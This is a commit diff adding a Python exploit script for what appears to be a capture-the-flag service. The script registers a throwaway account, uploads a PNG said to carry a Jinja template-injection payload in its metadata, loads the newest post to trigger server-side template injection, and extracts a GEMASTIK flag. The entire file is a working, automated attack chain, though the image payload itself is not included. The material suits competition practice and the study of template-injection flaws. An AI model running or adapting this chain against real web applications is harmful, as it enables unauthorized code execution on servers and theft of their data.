add exploits for cdn and blogpost

services/cdn/exploit/exp1.py

@@ -0,0 +1,91 @@
+import os
+import re
+import random
+import string
+from pathlib import Path
+import requests
+
+print("SSTI (Vuln) Exploit — fixed HOST env, redirects, timeouts")
+
+HOST = "http://localhost:4414"
+REGISTER_URL = f"{HOST}/register"
+LOGIN_URL    = f"{HOST}/login"
+UPLOAD_URL   = f"{HOST}/upload"
+HOME_URL     = f"{HOST}/"
+
+TIMEOUT = float(os.environ.get("TIMEOUT", "1"))  # detik
+
+def rnd(n=8):
+    alpha = string.ascii_lowercase + string.digits
+    return ''.join(random.choices(alpha, k=n))
+
+USERNAME = rnd()
+PASSWORD = rnd()
+LOCAL_IMAGE = os.environ.get("IMG", "ssti.png")  # PNG dengan payload Jinja di metadata
+
+s = requests.Session()
+s.headers.update({"User-Agent": "ssti-exp/1.0"})
+
+def ok_or_redirect(resp):
+    return 200 <= resp.status_code < 400
+
+# 1) Register (allow redirects)
+r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD},
+           allow_redirects=True, timeout=TIMEOUT)
+print(f"[i] Register -> {r.status_code} | redirected={bool(r.history)}")
+if not ok_or_redirect(r):
+    print("[x] Registration failed")
+    raise SystemExit(1)
+print(f"[+] Registered: {USERNAME}:{PASSWORD}")
+
+# 2) Login (allow redirects)
+r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD},
+           allow_redirects=True, timeout=TIMEOUT)
+print(f"[i] Login -> {r.status_code} | redirected={bool(r.history)}")
+if not ok_or_redirect(r):
+    print("[x] Login failed")
+    raise SystemExit(1)
+print("[+] Logged in")
+
+# 3) Upload image (title + image)
+img_path = Path(LOCAL_IMAGE)
+if not img_path.exists():
+    raise SystemExit(f"[x] Local image not found: {LOCAL_IMAGE}")
+
+with img_path.open("rb") as fh:
+    files = {"image": (img_path.name, fh, "image/png")}
+    data = {"title": "SSTI Exploit"}
+    r = s.post(UPLOAD_URL, data=data, files=files,
+               allow_redirects=True, timeout=TIMEOUT)
+    print(f"[i] Upload -> {r.status_code} | redirected={bool(r.history)}")
+    if not ok_or_redirect(r):
+        print("[x] Upload failed")
+        raise SystemExit(1)
+print("[+] Upload complete")
+
+# 4) Home → cari post id terbaru
+r = s.get(HOME_URL, timeout=TIMEOUT)
+print(f"[i] Home -> {r.status_code}")
+if r.status_code != 200:
+    print("[x] Failed to load home")
+    raise SystemExit(1)
+
+post_ids = re.findall(r'/post/(\d+)', r.text)
+if not post_ids:
+    print("[-] No posts found on home.")
+    # print(r.text[:800])
+    raise SystemExit(1)
+
+pid = max(map(int, post_ids))
+post_url = f"{HOST}/post/{pid}"
+print(f"[+] Newest post: {post_url}")
+
+# 5) Trigger SSTI dan cari flag
+r = s.get(post_url, timeout=TIMEOUT)
+print(f"[i] Post -> {r.status_code}")
+m = re.search(r"GEMASTIK\{[^}]*\}", r.text)
+if m:
+    print("[+] Flag:", m.group(0))
+else:
+    print("[-] Flag not found in response.")
+    print(r.text[:1200])